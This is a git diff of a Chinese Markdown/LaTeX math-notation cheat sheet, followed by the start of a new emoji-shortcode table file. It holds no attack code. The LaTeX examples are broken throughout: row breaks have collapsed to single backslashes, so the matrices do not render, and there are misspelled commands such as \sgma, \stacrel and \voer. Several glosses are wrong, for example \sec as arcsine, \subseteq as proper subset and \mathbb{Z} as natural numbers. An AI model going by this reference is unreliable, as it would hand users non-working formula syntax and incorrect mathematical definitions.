+ +**Markdown公式:** + +```md +$$ +\begin{aligned} + \left.\begin{aligned} + B'&=-\partial \times E,\ %加&指定对齐位置 + E'&=\partial \times B - \pi j, + \end{aligned} + \right\} %加右} +\qquad \text{Maxwell's equations} +\end{aligned} +$$ + +$$ +\begin{aligned} + \sigma_1 &= x + y &\quad \sigma_2 &= \frac{x}{y} \ + \sigma_1' &= \frac{\partial x + y}{\partial x} & \sgma_2' + &= \frac{\partial \frac{x}{y}}{\partial x} +\end{aligned} +$$ + +$$ +\begin{aligned} +a_n&=\frac{1}{\pi}\int\limits_{-\pi}^{\pi}f(x)\cos nx\,\mathrm{d}x\ +&=\frac{1}{\pi}\int\limits_{-\pi}^{\pi}x^2\cos nx\ +\mathrm{d}x\[6pt] +\end{aligned} +$$ +``` + + +--- + +### 公式编辑的编号设置 +| 符号 | 功能 | +| ------------ | ---------------------------------------------------- | +| \tag{标号} | 公式宏包序号设置命令,可用于带星号公式环境中的公式行 | +| \tag\*{标号} | 作用与\tag相同,只是标号两侧没有圆括号 | +**数学算式:** + + +$$ +x^2+y^2=z^2 \tag{1$'$} +$$ + +$$ +x^4+y^4=z^4 \tag{*} +$$ + +$$ +x^5+y^5=z^5 \tag*{*} +$$ + +$$ +x^6+y^6=z^6 \tag{1-1} +$$ + + +**Markdown公式:** + +```md +$$ +x^2+y^2=z^2 \tag{1$'$} +$$ + +$$ +x^4+y^4=z^4 \tag{*} +$$ + +$$ +x^5+y^5=z^5 \tag*{*} +$$ + +$$ +x^6+y^6=z^6 \tag{1-1} +$$ +``` + +--- + + +### 矩阵 + +**常见矩阵表现形式:** + +**数学算式:** + +$$ +\begin{pmatrix}1 & 2 \ 3 &4\ \end{pmatrix}$$ +$ +\begin{bmatrix}1 & 2 \ 3 & 4\ \end{bmatrix}$$ +$ +\begin{Bmatrix}1 &2 \ 3 & 4\ \end{Bmatrix}$$ +$ +\begin{vmatrix}1 &2 \ 3 &4\ \end{vmatrix}$$ +$ +\begin{Vmatrix}1 & 2 \ 3 & 4\ \end{Vmatrix}$$ +$ +\begin{pmatrix}1&a_1&a_1^2&\cdots&a_1^n\1&a_2&a_2^2&\cdots&a_2^n\\vdots&\vdots&\vdots&\ddots&\vdots\1&a_m&a_m^2&\cdots&a_m^n\\end{pmatrix} +$ + +**Markdown公式:** + +```md +$$ +\begin{pmatrix}1 & 2 \ 3 &4\ \end{pmatrix}$$ +$ +\begin{bmatrix}1 & 2 \ 3 & 4\ \end{bmatrix}$$ +$ +\begin{Bmatrix}1 &2 \ 3 & 4\ \end{Bmatrix}$$ +$ +\begin{vmatrix}1 &2 \ 3 &4\ \end{vmatrix}$$ +$ +\begin{Vmatrix}1 & 2 \ 3 & 4\ \end{Vmatrix}$$ +$ +\begin{pmatrix}1&a_1&a_1^2&\cdots&a_1^n\1&a_2&a_2^2&\cdots&a_2^n\\vdots&\vdots&\vdots&\ddots&\vdots\1&a_m&a_m^2&\cdots&a_m^n\\end{pmatrix} +$ +``` + +> **为公式添加脚注编号使用:`\tag{n}`,其中 n n n 表示第 n n n个公式。** + +--- + +#### 1. 不带括号的矩阵 + +**数学算式:** + +$$ +\begin{matrix} +1 & 2 & 3\ +4 & 5 & 6 \ +7 & 8 & +\end{matrix} +\tag{1} +$$ + +**Markdown公式:** + +```md +$$ +\begin{matrix} +1 & 2 & 3\ +4 & 5 & 6 \ +7 & 8 & +\end{matrix} +\tag{1} +$$ +``` + +#### 2. 带小括号的矩阵 + +**数学算式:** + +$$ +\left( +\begin{matrix} +1 & 2 & 3\ +4 & 5 & 6 \ +7 & 8 & +\end{matrix} +\right) +\tag{2} +$$ + +**Markdown公式:** + +```md +$$ +\left( +\begin{matrix} +1 & 2 & 3\ +4 & 5 & 6 \ +7 & 8 & +\end{matrix} +\right) +\tag{2} +$$ +``` + +#### 3. 带中括号的矩阵 + +**数学算式:** + +$$ +\left[ +\begin{matrix} +1 & 2 & 3\ +4 & 5 & 6 \ +7 & 8 & +\end{matrix} +\right] +\tag{3} +$$ + +**Markdown公式:** + +```md +$$ +\left[ +\begin{matrix} +1 & 2 & 3\ +4 & 5 & 6 \ +7 & 8 & +\end{matrix} +\right] +\tag{3} +$$ +``` + +#### 4. 带大括号的矩阵 + +**数学算式:** + +$$ +\left\{ +\begin{matrix} +1 & 2 & 3\ +4 & 5 & 6 \ +7 & 8 & +\end{matrix} +\right\} +\tag{4} +$$ + +**Markdown公式:** + +```md +$$ +\left\{ +\begin{matrix} +1 & 2 & 3\ +4 & 5 & 6 \ +7 & 8 & +\end{matrix} +\right\} +\tag{4} +$$ +``` + +#### 5. 带省略号的矩阵 + +**数学算式:** + +$$ +\left[ +\begin{matrix} +a & b & \cdots & a\ +b & b & \cdots & b\ +\vdots & \vdots & \dots & \vdots\ +c & c & \cdots & +\end{matrix} +\right] +\tag{5} +$$ + +**Markdown公式:** + +```md +$$ +\left[ +\begin{matrix} +a & b & \cdots & a\ +b & b & \cdots & b\ +\vdots & \vdots & \dots & \vdots\ +c & c & \cdots & +\end{matrix} +\right] +\tag{5} +$$ +``` + +#### 6. 带横线/竖线分割的矩阵: + +**数学算式:** + +$$ +\left[ +\begin{array}{c|cc} +1 & 2 & 3 \ +4 & 5 & 6 \ +7 & 8 & +\end{array} +\right] +\tag{6} +$$ + +**Markdown公式:** + +```md +$$ +\left[ +\begin{array}{c|cc} +1 & 2 & 3 \ +4 & 5 & 6 \ +7 & 8 & +\end{array} +\right] +\tag{6} +$$ +``` + +#### **横线用 `\hline` 分割,示例如下:** + +**数学算式:** + +$$ +\left[ + \begin{array}{c|cc} + 1 & 2 & 3 \ \hline + 4 & 5 & 6 \ + 7 & 8 & + \end{array} +\right] +\tag{7} +$$ + +**Markdown公式:** + +```md +$$ +\left[ + \begin{array}{c|cc} + 1 & 2 & 3 \ \hline + 4 & 5 & 6 \ + 7 & 8 & + \end{array} +\right] +\tag{7} +$$ +``` + +--- + + +### 上下标符号 + +> 默认情况下,上. 下标符号仅仅对下一个组起作用。一个组即单个字符或者使用`{…}` 包裹起来的内容。 + +| 数学算式 | Markdown公式 | 核心语法 | +| ----------------------------------------------------- | ---------------------------------------------------- | ----------------- | +| $a_i$ , $a_{pre}$​ | `a_i , a_{pre}` | 下标使用`_` | +| $a^i$ , $a^{pre}$ | `a^i , a^{pre}` | 上标使用`^` | +| $\bar{a}$ | `\bar{a}` | +| $\acute$ | `\acute` | +| $\breve{a}$ | `\breve{a}` | +| $\grave{a}$ | `\grave{a}` | +| $\dot{a}$ | `\dot{a}` | +| $\ddot{a}$ | `\ddot{a}` | +| $\dot {\dot x}$ | `\dot {\dot x}` | +| $\hat{a}$ | `\hat{a}` | +| $\widehat{xy}$ ​ | `\widehat{xy}` | 多字符可以使用 | +| $\check{a}$ | `\check{a}` | +| $\breve{a}$ | `\breve{a}` | +| $\tilde{a}$ | `\tilde{a}` | +| $\vec{a}$ | `\vec{a}` | 矢量使用 `\vec{}` | +| $\overrightarrow {xy}$​ | `\overrightarrow {xy}` | 向量 | +| $\overline{a + b + c + d}$​ | `\overline{a + b + c + d}` | +| $\underline{a + b + c + d}$ | `\underline{a + b + c + d}` | +| $\overbrace{a + b + c + d}$ ​ | `\overbrace{a + b + c + d}` | +| $\underbrace{a + b + c + d}$ | `\underbrace{a + b + c + d}` | +| $\overbrace{a + \underbrace{b + c}_{1.0} + d}^{2.0}$​ | `\overbrace{a + \underbrace{b + c}_{1.0} + d}^{2.0}` | + +--- + +### 括号 + +小括号与方括号 +1. 使用原始的 `(), []` 得到的括号大小是固定的,如 `(2 + 3) [ 4 + 4 ] (2 + 3) [ 4 + 4 ] (2 + 3) [ 4 + 4 ] (2+3)[4+4](2+3)[4+4](2+3)[4+4] (2+3)[4+4](2+3)[4+4](2+3)[4+4]` +1. 使用`\left(或\right)`可使括号大小与邻近的公式相适应(该语句适用于所有括号类型),如 \left(\frac{x}{y}\right) + +| 数学算式 | Markdown公式 | 核心语法 | +| -------- | ---------------------------------- | -------- | +| $(,)$ | `(,)` | +| $[,]$ | `[,]` | +| $⟨,⟩$ | `\lang, \rang 或 \langle, \rangle` | +| $∣,∣$ | `\lvert, \rvert` | +| $∥,∥$ | `\lVert, \rVert` | +| ${,}$ | `\lbrace, \rbrace 或 {, }` | + + +**增大括号的方法:** + +| 数学算式 | Markdown公式 | 核心语法 | +| ---------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- | -------- | +| $(x)$ | `(x)` | +| $\big(x \big)$ | `\big(x \big)` | +| $\big(x \big)$ | `\big(x \big)` | +| $\bigg(x \bigg)$ | `\bigg(x \bigg)` | +| $\Bigg(x \Bigg)$ | `\Bigg(x \Bigg)` | +| $\Bigg(\bigg(\Big(\big((x)\big)\Big)\bigg)\Bigg)$ | `\Bigg(\bigg(\Big(\big((x)\big)\Big)\bigg)\Bigg)` | +| $\Bigg[\bigg[\Big[\big[[x]\big]\Big]\bigg]\Bigg]$ | `\Bigg[\bigg[\Big[\big[[x]\big]\Big]\bigg]\Bigg]` | +| $\Bigg \langle \bigg \langle \Big \langle\big\langle\langle x \rangle \big \rangle\Big\rangle\bigg\rangle\Bigg\rangle$ | `\Bigg \langle \bigg \langle \Big \langle\big\langle\langle x \rangle \big \rangle\Big\rangle\bigg\rangle\Bigg\rangle` | +| $\Bigg\lvert\bigg\lvert\Big\lvert\big\lvert\lvert x \rvert\big\rvert\Big\rvert\bigg\rvert\Bigg\rvert$ | `\Bigg\lvert\bigg\lvert\Big\lvert\big\lvert\lvert x \rvert\big\rvert\Big\rvert\bigg\rvert\Bigg\rvert` | +| $\Bigg\lVert\bigg\lVert\Big\lVert\big\lVert\lVert x \rVert\big\rVert\Big\rVert\bigg\rVert\Bigg\rVert$ | `\Bigg\lVert\bigg\lVert\Big\lVert\big\lVert\lVert x \rVert\big\rVert\Big\rVert\bigg\rVert\Bigg\rVert` | +| $\Bigg\{\bigg\{\Big\{\big\{ {x} \big\}\Big\}\bigg\}\Bigg\}$ | `\Bigg{\bigg{\Big{\big{ {x} \big}\Big}\bigg}\Bigg}` | + +--- + + +### 分式与根式 + + +**分式的表示方法:** + +1. 使用`\frac{a}{b}`表示分式,比如 a + c + 1 b + c + 2 \frac {a+c+1}{b+c+2} b+c+2a+c+1​; + +1. 使用`\over`来分隔一个组的前后两部分,如 a + 1 b + 1 {a+1\over b+1} b+1a+1​; +1. 连分数,使用使用`\cfrac`代替`\frac`或者`\over`,两者效果对比如下: + +**`\frac` 表示连分式:** + +**数学算式:** + +$$x=a_0 + \frac{1^2}{a_ 1+\frac{2^2}{a_2+\frac{3^2}{a_3```+ \frac{4^2}{a_4+...}}}}$$ + +**Markdown公式:** + +```md +$$x=a_0 + \frac{1^2}{a_ 1+\frac{2^2}{a_2+\frac{3^2}{a_3```+ \frac{4^2}{a_4+...}}}}$$ +``` + +**`\cfrac` 表示连分式:** + +**数学算式:** + +​$$x=a_0 + \cfrac{1^2}{a_ 1+\cfrac{2^2}{a_2+\cfrac{3^2}{a_3+ \cfrac{4^2}{a_4+...}}}}$$ + +**Markdown公式:** + +```md +​$$x=a_0 + \cfrac{1^2}{a_ 1+\cfrac{2^2}{a_2+\cfrac{3^2}{a_3+ \cfrac{4^2}{a_4+...}}}}$$ +``` + +**`\cfrac` 表示连分式:** + +| 数学算式 | Markdown公式 | 核心语法 | +| ----------------- | --------------- | --------------------------- | +| $\frac{a}{b}$ | `\frac{a}{b}` | 分数使用`\frac{分子}{分母}` | +| $a^i$ , $a^{pre}$ | `a^i , a^{pre}` | 上标使用`^` | + +--- + +### 开方 + +| 数学算式 | Markdown公式 | 核心语法 | +| ----------------- | ----------------- | ----------------------- | +| $\sqrt{a + b}$ | `\sqrt{a + b}` | 开方使用`\sqrt{}` | +| $\sqrt[n]{a + b}$ | `\sqrt[n]{a + b}` | 开n次方使用`\sqrt[n]{}` | + + +--- + + +### 累加/累乘 + + +| 数学算式 | Markdown公式 | 核心语法 | +| ------------------------------ | ------------------------------ | ----------------------------- | +| $\sum_{i = 0}^{n} x^2$ | `\sum_{i = 0}^{n} x^2` | 累加使用`\sum_{下标}^{上标}` | +| $\prod_{i = 0}^{n}\frac{1}{x}$ | `\prod_{i = 0}^{n}\frac{1}{x}` | 累乘使用`\prod_{下标}^{上标}` | + +--- + +### 三角函数 + +| 数学算式 | Markdown公式 | 释义 | +| --------- | ------------ | ------ | +| $\sin$ | `\sin` | 正弦 | +| $\cos$ | `\cos` | 余弦 | +| $\tan$ | `\tan` | 正切 | +| $\cot$ | `\cot` | 余切 | +| $\sec$ | `\sec` | 反正弦 | +| $\csc$ | `\csc` | 反余弦 | +| $\bot$ | `\bot` | 垂直 | +| $\angle$ | `\angle` | 夹角 | +| $4^\circ$ | `4^\circ` | 度数 | + +--- + +### 对数函数 + +| 数学算式 | Markdown公式 | 核心语法 | +| -------------- | -------------- | ----------------------------- | +| $\ln{a + b}$ | `\ln{a + b}` | 以e为底,对数函数使用`\ln{}` | +| $\log_{a}^{b}$ | `\log_{a}^{b}` | 对数函数使用`\log_{a}^{b}` | +| $\lg{a + b}$ | `\lg{a + b}` | 以10为底,对数函数使用`\ln{}` | + + +--- + + +### 二元运算符 + + +| 数学算式 | Markdown公式 | 核心语法 | +| ------------------ | ------------------ | ---------- | +| $\pm$ | `\pm` | 正负号 | +| $\mp$ | `\mp` | 负正号 | +| $\times$ | `\times` | 乘号 | +| $\div$ | `\div` | 除号 | +| $\ast$ | `\ast` | 星号 | +| $\star$ | `\star` | +| $\mid$ | \mid | 竖线 | +| $\nmid$ | `\nmid` | +| $\circ$ | `\circ` | 圆圈 | +| $\bullet$ | `\bullet` | +| $\cdot$ | `\cdot` | **点** | +| $\wr$ | `\wr` | +| $\diamond$ | `\diamond` | +| $\Diamond$ | `\Diamond` | +| $\triangle$ | `\triangle` | +| $\bigtriangleup$ | `\bigtriangleup` | +| $\bigtriangledown$ | `\bigtriangledown` | +| $\triangleleft$ | `\triangleleft` | +| $\triangleright$ | `\triangleright` | +| $\lhd$ | `\lhd` | +| $\rhd$ | `\rhd` | +| $\unlhd$ | `\unlhd` | +| $\unrhd$ | `\unrhd` | +| $\circ$ | `\circ` | +| $\bigcirc$ | `\bigcirc` | +| $\odot$ | `\odot` | +| $\bigodot$ | `\bigodot` | 点积 | +| $\oslash$ | `\oslash` | +| $\ominus$ | `\ominus` | +| $\otimes$ | `\otimes` | +| $\bigotimes$ | `\bigotimes` | 克罗内克积 | +| $\oplus$ | `\oplus` | +| $\bigoplus$ | `\bigoplus` | 异或 | +| $\dagger$ | `\dagger` | +| $\ddagger$ | `\ddagger` | +| $\amalg$ | `\amalg` | + +--- + + +### 关系符号 + +| 数学算式 | Markdown公式 | 核心语法 | +| ----------- | ------------ | -------- | +| $\leq$ | `\leq` | 小于等于 | +| $\geq$ | `\geq` | 大于等于 | +| $\equiv$ | `\equiv` | 全等于 | +| $\models$ | `\models` | +| $\prec$ | `\prec` | +| $\succ$ | `\succ` | +| $\sim$ | `\sim` | +| $\perp$ | `\perp` | +| $\preceq$ | `\preceq` | +| $\succeq$ | `\succeq` | +| $\simeq$ | `\simeq` | +| $\mid$ | `\mid` | +| $\ll$ | `\ll` | +| $\gg$ | `\gg` | +| $\asymp$ | `\asymp` | +| $\parallel$ | `\parallel` | +| $\approx$ | `\approx` | +| $\cong$ | `\cong` | +| $\neq$ | `\neq` | `不等于` | +| $\doteq$ | `\doteq` | +| $\propto$ | `\propto` | +| $\bowtie$ | `\bowtie` | +| $\Join$ | `\Join` | +| $\smile$ | `\smile` | +| $\frown$ | `\frown` | +| $\vdash$ | `\vdash` | +| $\dashv$ | `\dashv` | + + +1. 等于运算,符号: `=` ,如:$x+y=z$ + +2. 大于运算,符号: `>` ,如:$x+y>z$ + +3. 小于运算,符号: `<` ,如:$x+y **上表中的em是指当前文本中文本的字体尺寸** + + +--- + + +### 其他符号 + +| 数学算式 | Markdown公式 | 核心语法 | +| -------------- | -------------- | -------- | +| $\aleph$ | `\aleph` | +| $\hbar$ | `\hbar` | +| $\imath$ | `\imath` | +| $\jmath$ | `\jmath` | +| $\ell$ | `\ell` | +| $\wp$ | `\wp` | +| $\Re$ | `\Re` | +| $\Im$ | `\Im` | +| $\mho$ | `\mho` | +| $\nabla$ | `\nabla` | +| $\surd$ | `\surd` | +| $\top$ | `\top` | +| $\bot$ | `\bot` | +| $\neg$ | `\neg` | +| $\flat$ | `\flat` | +| $\natural$ | `\natural` | +| $\sharp$ | `\sharp` | +| $\backslash$ | `\backslash` | +| $\partial$ | `\partial` | +| $\Box$ | `\Box` | +| $\clubsuit$ | `\clubsuit` | +| $\diamondsuit$ | `\diamondsuit` | +| $\heartsuit$ | `\heartsuit` | +| $\spadesuit$ | `\spadesuit` | + + + +--- + +### 表格格式设置 + +一般使用 `|--|--|`,这样的形式来创建表格。 +1. 列样式可以是`c,l,r` 分别表示居中,左,右对齐; +1. 使用 `|` 表示一条竖线; +1. 表格中各行使用`\` 分隔,各列使用`&` 分隔; +1. 使用`\hline` 在本行前加入一条直线。 例如: + + +--- + + +### 上标、下标与组合 + + +1. 上标符号,符号: `^` ,如:$x^4$ + +2. 下标符号,符号: `_` ,如:$x_1$ + +3. 组合符号,符号: `{}` ,如:$ {16}_{8}O {2+}_{2}$ + +--- + + +### 汉字、字体与格式 + + +1. 汉字形式,符号: `\mbox{}` ,如:$V_{\mbox{初始}}$ +2. 字体控制,符号: `\displaystyle` ,如:$\displaystyle \frac{x+y}{y+z}$ +3. 下划线符号,符号: `\underline` ,如:$\underline{x+y}$ +4. 标签,符号 `\tag{数字}` ,如:$\tag{11}$ +5. 上大括号,符号: `\overbrace{算式}` ,如:$\overbrace{a+b+c+d}^{2.0}$ +6. 下大括号,符号: `\underbrace{算式}` ,如:$a+\underbrace{b+c}_{1.0}+d$ +7. 上位符号,符号: `\stacrel{上位符号}{基位符号}` ,如:$\vec{x}\stackrel{\mathrm{def}}{=}{x_1,\dots,x_n}$ +--- + + +### 占位符 + + +1. 两个quad空格,符号: `\qquad` ,如:$x \qquad y$ +2. quad空格,符号: `\quad` ,如:$x \quad y$ +3. 大空格,符号 `\` ,如:$x \ y$ +4. 中空格,符号 `\:` ,如:$x : y$ + +5. 小空格,符号 `\,` ,如:$x , y$ + +6. 没有空格,符号\`\`,如:$xy$ + +7. 紧贴,符号 `\!` ,如:$x ! y$ + +--- + +### 定界符与组合 + +1. 括号,符号: `()\big(\big) \Big(\Big) \bigg(\bigg) \Bigg(\Bigg)` ,如:$()\big(\big) \Big(\Big) \bigg(\bigg) \Bigg(\Bigg)$ + +2. 中括号,符号: `[]` ,如:$[x+y]$ + +3. 大括号,符号: `\{ \}` ,如:${x+y}$ + +4. 自适应括号,符号: `\left \right` ,如:$\left(x\right)$,$\left(x {y z}\right)$ +5. 组合公式,符号: `{上位公式 \choose 下位公式}` ,如:${n+1 \choose k}={n \choose k}+{n \choose k-1}$ +6. 组合公式,符号: `{上位公式 \atop 下位公式}` ,如:$\sum_{k_0,k_1,\ldots>0 \atop k_0+k_1+\cdots=n}A_{k_0}A_{k_1}\cdots$ +--- + +### 四则运算 + + +1. 加法运算,符号: `+` ,如:$x+y=z$ + +2. 减法运算,符号: `-` ,如:$x-y=z$ + +3. 加减运算,符号: `\pm` ,如:$x \pm y=z$ +4. 减甲运算,符号: `\mp` ,如:$x \mp y=z$ +5. 乘法运算,符号: `\times` ,如:$x \times y=z$ +6. 点乘运算,符号: `\cdot` ,如:$x \cdot y=z$ +7. 星乘运算,符号: `\ast` ,如:$x \ast y=z$ +8. 除法运算,符号: `\div` ,如:$x \div y=z$ +9. 斜法运算,符号: `/` ,如:$x/y=z$ + +10. 分式表示,符号: `\frac{分子}{分母}` ,如:$\frac{x+y}{y+z}$ + +11. 分式表示,符号: `{分子} \voer {分母}` ,如:${x+y} \over {y+z}$ +12. 绝对值表示,符号: `||` ,如:$|x+y|$ + +--- + + +### 高级运算 + + + +1. 平均数运算,符号: `\overline{算式}` ,如:$\overline{xyz}$ +2. 开二次方运算,符号: `\sqrt` ,如:$\sqrt x$ +3. 开方运算,符号: `\sqrt[开方数]{被开方数}` ,如:$\sqrt[3]{x+y}$ +4. 对数运算,符号: `\log` ,如:$\log(x)$ +5. 极限运算,符号: `\lim` ,如:$\lim^{x \to \infty}_{y \to 0}{\frac{x}{y}}$ +6. 极限运算,符号: `\displaystyle \lim` ,如:$\displaystyle \lim^{x \to \infty}_{y \to 0}{\frac{x}{y}}$ +7. 求和运算,符号: `\sum` ,如:$\sum^{x \to \infty}_{y \to 0}{\frac{x}{y}}$ +8. 求和运算,符号: `\displaystyle \sum` ,如:$\displaystyle \sum^{x \to \infty}_{y \to 0}{\frac{x}{y}}$ +9. 积分运算,符号: `\int` ,如:$\int^{\infty}_{0}{xdx}$ +10. 积分运算,符号: `\displaystyle \int` ,如:$\displaystyle \int^{\infty}_{0}{xdx}$ +11. 微分运算,符号: `\partial` ,如:$\frac{\partial x}{\partial y}$ +12. 矩阵表示,符号: `\begin{matrix} \end{matrix}` ,如:$\left[ \begin{matrix} 1 &2 &\cdots &4\5 &6 &\cdots &8\\vdots &\vdots &\ddots &\vdots\13 &14 &\cdots &16\end{matrix} \right]$ + +--- + + +### 集合运算 + + + +1. 属于运算,符号: `\in` ,如:$x \in y$ +2. 不属于运算,符号: `\notin` ,如:$x \notin y$ +3. 不属于运算,符号: `\not\in` ,如:$x \not\in y$ +4. 子集运算,符号: `\subset` ,如:$x \subset y$ +5. 子集运算,符号: `\supset` ,如:$x \supset y$ +6. 真子集运算,符号: `\subseteq` ,如:$x \subseteq y$ +7. 非真子集运算,符号: `\subsetneq` ,如:$x \subsetneq y$ +8. 真子集运算,符号: `\supseteq` ,如:$x \supseteq y$ +9. 非真子集运算,符号: `\supsetneq` ,如:$x \supsetneq y$ +10. 非子集运算,符号: `\not\subset` ,如:$x \not\subset y$ +11. 非子集运算,符号: `\not\supset` ,如:$x \not\supset y$ +12. 并集运算,符号: `\cup` ,如:$x \cup y$ +13. 交集运算,符号: `\cap` ,如:$x \cap y$ +14. 差集运算,符号: `\setminus` ,如:$x \setminus y$ +15. 同或运算,符号: `\bigodot` ,如:$x \bigodot y$ + +16. 同与运算,符号: `\bigotimes` ,如:$x \bigotimes y$ + +17. 实数集合,符号: `\mathbb{R}` ,如: `\mathbb{R}` + +18. 自然数集合,符号: `\mathbb{Z}` ,如: `\mathbb{Z}` + +19. 空集,符号: `\emptyset` ,如:$\emptyset$ + +--- + + +### 数学符号 + + + +1. 无穷,符号: `\infty` ,如:$\infty$ +2. 虚数,符号: `\imath` ,如:$\imath$ +3. 虚数,符号: `\jmath` ,如:$\jmath$ +4. 数学符号,符号 `\hat{a}` ,如:$\hat{a}$ +5. 数学符号,符号 `\check{a}` ,如:$\check{a}$ +6. 数学符号,符号 `\breve{a}` ,如:$\breve{a}$ +7. 数学符号,符号 `\tilde{a}` ,如:$\tilde{a}$ +8. 数学符号,符号 `\bar{a}` ,如:$\bar{a}$ +9. 矢量符号,符号 `\vec{a}` ,如:$\vec{a}$ +10. 数学符号,符号 `\acute{a}` ,如:$\acute{a}$ +11. 数学符号,符号 `\grave{a}` ,如:$\grave{a}$ +12. 数学符号,符号 `\mathring{a}` ,如:$\mathring{a}$ +13. 一阶导数符号,符号 `\dot{a}` ,如:$\dot{a}$ +14. 二阶导数符号,符号 `\ddot{a}` ,如:$\ddot{a}$ +15. 上箭头,符号: `\uparrow` ,如:$\uparrow$ +16. 上箭头,符号: `\Uparrow` ,如:$\Uparrow$ +17. 下箭头,符号: `\downarrow` ,如:$\downarrow$ +18. 下箭头,符号: `\Downarrow` ,如:$\Downarrow$ +19. 左箭头,符号: `\leftarrow` ,如:$\leftarrow$ +20. 左箭头,符号: `\Leftarrow` ,如:$\Leftarrow$ +21. 右箭头,符号: `\rightarrow` ,如:$\rightarrow$ + +22. 右箭头,符号: `\Rightarrow` ,如:$\Rightarrow$ +23. 底端对齐的省略号,符号: `\ldots` ,如:$1,2,\ldots,n$ +24. 中线对齐的省略号,符号: `\cdots` ,如:$x_1^2 + x_2^2 + \cdots + x_n^2$ +25. 竖直对齐的省略号,符号: `\vdots` ,如:$\vdots$ +26. 斜对齐的省略号,符号: `\ddots` ,如:$\ddots$ +--- diff --git a/_posts/00CodeNote/language/other/2020-09-25-emoji.md b/_posts/00CodeNote/language/other/2020-09-25-emoji.md new file mode 100644 index 00000000000..533a8eeb02e --- /dev/null +++ b/_posts/00CodeNote/language/other/2020-09-25-emoji.md @@ -0,0 +1,330 @@ +--- +title: Emoji +# author: Grace JyL +date: 2020-09-25 11:11:11 -0400 +description: +excerpt_separator: +categories: [00CodeNote] +tags: [] +math: true +toc: true +# image: /assets/img/note/tls-ssl-handshake.png +--- + +[toc] + +--- + +# People + +| :bowtie: `:bowtie:` | :smile: `:smile:` | :laughing: `:laughing:` | +|---|---|---| +| :blush: `:blush:` | :smiley: `:smiley:` | :relaxed: `:relaxed:` | +| :smirk: `:smirk:` | :heart_eyes: `:heart_eyes:` | :kissing_heart: `:kissing_heart:` | +| :kissing_closed_eyes: `:kissing_closed_eyes:` | :flushed: `:flushed:` | :relieved: `:relieved:` | +| :satisfied: `:satisfied:` | :grin: `:grin:` | :wink: `:wink:` | +| :stuck_out_tongue_winking_eye: `:stuck_out_tongue_winking_eye:` | :stuck_out_tongue_closed_eyes: `:stuck_out_tongue_closed_eyes:` | :grinning: `:grinning:` | +| :kissing: `:kissing:` | :kissing_smiling_eyes: `:kissing_smiling_eyes:` | :stuck_out_tongue: `:stuck_out_tongue:` | +| :sleeping: `:sleeping:` | :worried: `:worried:` | :frowning: `:frowning:` | +| :anguished: `:anguished:` | :open_mouth: `:open_mouth:` | :grimacing: `:grimacing:` | +| :confused: `:confused:` | :hushed: `:hushed:` | :expressionless: `:expressionless:` | +| :unamused: `:unamused:` | :sweat_smile: `:sweat_smile:` | :sweat: `:sweat:` | +| :disappointed_relieved: `:disappointed_relieved:` | :weary: `:weary:` | :pensive: `:pensive:` | +| :disappointed: `:disappointed:` | :confounded: `:confounded:` | :fearful: `:fearful:` | +| :cold_sweat: `:cold_sweat:` | :persevere: `:persevere:` | :cry: `:cry:` | +| :sob: `:sob:` | :joy: `:joy:` | :astonished: `:astonished:` | +| :scream: `:scream:` | :neckbeard: `:neckbeard:` | :tired_face: `:tired_face:` | +| :angry: `:angry:` | :rage: `:rage:` | :triumph: `:triumph:` | +| :sleepy: `:sleepy:` | :yum: `:yum:` | :mask: `:mask:` | +| :sunglasses: `:sunglasses:` | :dizzy_face: `:dizzy_face:` | :imp: `:imp:` | +| :smiling_imp: `:smiling_imp:` | :neutral_face: `:neutral_face:` | :no_mouth: `:no_mouth:` | +| :innocent: `:innocent:` | :alien: `:alien:` | :yellow_heart: `:yellow_heart:` | +| :blue_heart: `:blue_heart:` | :purple_heart: `:purple_heart:` | :heart: `:heart:` | +| :green_heart: `:green_heart:` | :broken_heart: `:broken_heart:` | :heartbeat: `:heartbeat:` | +| :heartpulse: `:heartpulse:` | :two_hearts: `:two_hearts:` | :revolving_hearts: `:revolving_hearts:` | +| :cupid: `:cupid:` | :sparkling_heart: `:sparkling_heart:` | :sparkles: `:sparkles:` | +| ⭐ `⭐` | :star2: `:star2:` | :dizzy: `:dizzy:` | +| :boom: `:boom:` | :collision: `:collision:` | :anger: `:anger:` | +| :exclamation: `:exclamation:` | :question: `:question:` | :grey_exclamation: `:grey_exclamation:` | +| :grey_question: `:grey_question:` | :zzz: `:zzz:` | :dash: `:dash:` | +| :sweat_drops: `:sweat_drops:` | :notes: `:notes:` | :musical_note: `:musical_note:` | +| :fire: `:fire:` | :hankey: `:hankey:` | :poop: `:poop:` | +| :shit: `:shit:` | :+1: `:+1:` | :thumbsup: `:thumbsup:` | +| :-1: `:-1:` | :thumbsdown: `:thumbsdown:` | :ok_hand: `:ok_hand:` | +| :punch: `:punch:` | :facepunch: `:facepunch:` | :fist: `:fist:` | +| :v: `:v:` | :wave: `:wave:` | :hand: `:hand:` | +| :raised_hand: `:raised_hand:` | :open_hands: `:open_hands:` | :point_up: `:point_up:` | +| :point_down: `:point_down:` | :point_left: `:point_left:` | :point_right: `:point_right:` | +| :raised_hands: `:raised_hands:` | :pray: `:pray:` | :point_up_2: `:point_up_2:` | +| :clap: `:clap:` | :muscle: `:muscle:` | :metal: `:metal:` | +| :fu: `:fu:` | :walking: `:walking:` | :runner: `:runner:` | +| :running: `:running:` | :couple: `:couple:` | :family: `:family:` | +| :two_men_holding_hands: `:two_men_holding_hands:` | :two_women_holding_hands: `:two_women_holding_hands:` | :dancer: `:dancer:` | +| :dancers: `:dancers:` | :ok_woman: `:ok_woman:` | :no_good: `:no_good:` | +| :information_desk_person: `:information_desk_person:` | :raising_hand: `:raising_hand:` | :bride_with_veil: `:bride_with_veil:` | +| :person_with_pouting_face: `:person_with_pouting_face:` | :person_frowning: `:person_frowning:` | :bow: `:bow:` | +| :couplekiss: `:couplekiss:` | :couple_with_heart: `:couple_with_heart:` | :massage: `:massage:` | +| :haircut: `:haircut:` | :nail_care: `:nail_care:` | :boy: `:boy:` | +| :girl: `:girl:` | :woman: `:woman:` | :man: `:man:` | +| :baby: `:baby:` | :older_woman: `:older_woman:` | :older_man: `:older_man:` | +| :person_with_blond_hair: `:person_with_blond_hair:` | :man_with_gua_pi_mao: `:man_with_gua_pi_mao:` | :man_with_turban: `:man_with_turban:` | +| :construction_worker: `:construction_worker:` | :cop: `:cop:` | :angel: `:angel:` | +| :princess: `:princess:` | :smiley_cat: `:smiley_cat:` | :smile_cat: `:smile_cat:` | +| :heart_eyes_cat: `:heart_eyes_cat:` | :kissing_cat: `:kissing_cat:` | :smirk_cat: `:smirk_cat:` | +| 